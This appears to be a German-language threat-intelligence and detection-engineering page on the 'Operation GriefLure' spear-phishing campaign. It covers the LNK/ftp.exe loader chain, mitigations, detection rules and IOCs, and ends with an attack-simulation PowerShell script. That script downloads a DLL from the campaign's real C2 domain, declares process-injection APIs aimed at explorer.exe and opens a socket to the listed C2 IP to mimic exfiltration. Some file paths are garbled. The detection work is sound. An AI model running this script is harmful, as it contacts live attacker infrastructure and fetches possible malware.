Operation GriefLure: Eine APT-Kampagne, die Vietnams Militärtelekommunikation & das philippinische Gesundheitswesen ins Visier nimmt
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Seqrite Labs identifizierte eine gezielte Spear-Phishing-Kampagne, die auf bösartige Windows-LNK-Dateien setzte, die in doppelt komprimierten RAR-Archiven versteckt waren. Beim Öffnen startete die LNK eine native ftp.exe Loader, der eine polymorphe Nutzlast mit dem Namen sfsvc.exe aus fragmentierten .doc Dateien auf dem Rechner des Opfers rekonstruierte. Die Aktivität richtete sich an Führungskräfte im vietnamesischen, militärisch geführten Telekomsektor und an Personal eines privaten Krankenhauses auf den Philippinen, wobei legiti-
Untersuchung
Die Untersuchung zerlegte die Archivstruktur, kartierte den LNK-Ausführungsweg und reverse-engineerte den benutzerdefinierten sfsvc.exe Loader, der darauf ausgelegt war, regsvr32.exezu ähneln. Analysten dokumentierten DLL-Sideloading, In-Memory-Shellcode-Ausführung, Prozesseinschleusung und Kommando- und Kontrollkommunikationen über eine getarnte Domain. Die Überprüfung von Artefakten enthüllte auch eine hartcodierte C2-Domain, www.whatsappcenter.com, die über einen bulletproof-Provider in Hongkong gehostet wird.
Minderung
Verteidiger sollten die Ausführung von LNK-Dateien, die über E-Mail-Anhänge geliefert werden, blockieren und die Verwendung nativer ftp.exe mit verdächtigen Befehlszeilenargumenten überwachen. Die Endpunkt-Erkennung sollte sich auf dateiloses DLL-Loading, Schreibvorgänge im alternativen Datenstrom unter C:UsersPublicUpdateund die schnelle Erstellung von sfsvc.exekonzentrieren. Organisationen sollten auch die Prüfung der Dokumentherkunft verstärken und Benutzer über Köder informieren, die wie legitime rechtliche oder Whistleblower-bezogene Dateien aussehen.
Antwort
Wird die bösartige LNK oder sfsvc.exe Prozess erkannt, sollten der betroffene Endpunkt sofort isoliert, flüchtiger Speicher gesammelt und nach 360.*.dll Loader-Dateien und Artefakten im alternativen Datenstrom gesucht werden. Die identifizierte Kommando- und Kontroll-Domain und die zugehörige IP-Adresse sollten blockiert werden, und die Incident-Response sollte beginnen, um festzustellen, ob Daten exfiltriert wurden. Es sollte auch eine breitere Suche nach ähnlicher LNK-gesteuerter ftp.exe Loader-Aktivität in der gesamten Umgebung durchgeführt werden.
Angriffsfluss
Erkennungen
Mögliche bösartige LNK-Datei mit doppelter Erweiterung (über cmdline)
Ansehen
Mögliche FTP-Skriptausführung mit ungewöhnlichen Erweiterungen (über cmdline)
Ansehen
Verdächtige Ausführung aus dem öffentlichen Benutzerprofil (über prozess_creation)
Ansehen
Alternative Fernzugriffs-/Management-Software (über prozess_creation)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)
Ansehen
IOCs (HashSha256) zum Erkennen von: Operation GriefLure: Analyse einer APT-Kampagne, die sich gegen Vietnams Militärische Telekommunikation und das philippinische Gesundheitswesen richtet
Ansehen
IOCs (SourceIP) zum Erkennen von: Operation GriefLure: Analyse einer APT-Kampagne, die sich gegen Vietnams Militärische Telekommunikation und das philippinische Gesundheitswesen richtet
Ansehen
IOCs (DestinationIP) zum Erkennen von: Operation GriefLure: Analyse einer APT-Kampagne, die sich gegen Vietnams Militärische Telekommunikation und das philippinische Gesundheitswesen richtet
Ansehen
Erkennung der Kommunikation von Operation GriefLure C2 [Windows Netzverbindung]
Ansehen
Erkennung der Aktivität von Operation GriefLure mithilfe von ftp.exe und sfsvc.exe [Windows Prozess-Erstellung]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- und Basislinien-Vorab-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung & Befehle:
Der Angreifer, der sich über einen Phishing-Anhang (T1566.001, T1204.002) ersten Zutritt verschaffte, wählt einen Living-off-the-Land Ansatz, um ausführbare Nutzlasten zu vermeiden. Unter Verwendung des integriertencmd.exe(T1059.003) starten sie einen PowerShell-Einzeiler, der die folgenden Schritte ausführt:- Entdeckung – enumeriert Systeminformationen (T1082) und laufende Prozesse (T1057), um ein geeignetes Einspritzziel zu finden.
- Ernte von Anmeldeinformationen – liest Browserspeicher (T1555.003) und speichert Anmeldeinformationsdateien (T1552.001) in einem Zwischenordner.
- Nutzlastbeschaffung – lädt eine bösartige DLL von der C2-Domain
www.whatsappcenter.comüber HTTPS herunter (T1071.001, T1041). - Prozesseinschleusung – injiziert die DLL in
explorer.exe(T1055.001), um Persistenz zu erlangen und Privilegien zu erhöhen. - C2-Kommunikation – öffnet eine persistente TCP-Verbindung zu
38.54.122.188(der hartcodierten IP) und beginnt mit der Exfiltration der gesammelten Daten.
Der entscheidende Schritt, der die Sigma-Regel erfüllt, ist der ausgehende Verbindungsversuch zur genauen Domain/IP, der von Sysmon und der Windows-Firewall protokolliert wird.
-
Regressionstest-Skript:
# ------------------------------------------------- # GriefLure C2-Simulation – PowerShell-Version # ------------------------------------------------- # 1. Systemerkennung (T1082, T1057) Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null Get-Process | Select-Object -First 5 | Out-Null # 2. Simuliere das Ernten von Anmeldeinformationen (T1555.003, T1552.001) $credStaging = "$env:TEMPcreds.txt" "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging # 3. Lade bösartige DLL von hartcodierter C2-Domain herunter (T1071.001, T1041) $c2Domain = "www.whatsappcenter.com" $c2Url = "https://$c2Domain/payload.dll" $dllPath = "$env:TEMPpayload.dll" Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing # 4. Injektiere DLL in explorer.exe (T1055.001) $target = (Get-Process -Name explorer).Id $inject = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $inject # (Die tatsächlichen Injektionsschritte sind aus Gründen der Kürze weggelassen; in einem realen Test würden Sie die obigen APIs aufrufen.) # 5. Öffne persistente C2-Verbindung zur hartcodierten IP (T1041) $c2Ip = "38.54.122.188" $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($c2Ip, $port) $stream = $client.GetStream() $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START") $stream.Write($payload,0,$payload.Length) Start-Sleep -Seconds 5 $stream.Close() $client.Close() -
Aufräumbefehle:
# Entferne gestagte Dateien Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue # Schließe verbleibende TCP-Verbindungen (falls noch offen) Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Optional: Setze den Sysmon-Puffer zurück (für einen sauberen Zustand bei wiederholten Tests) & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml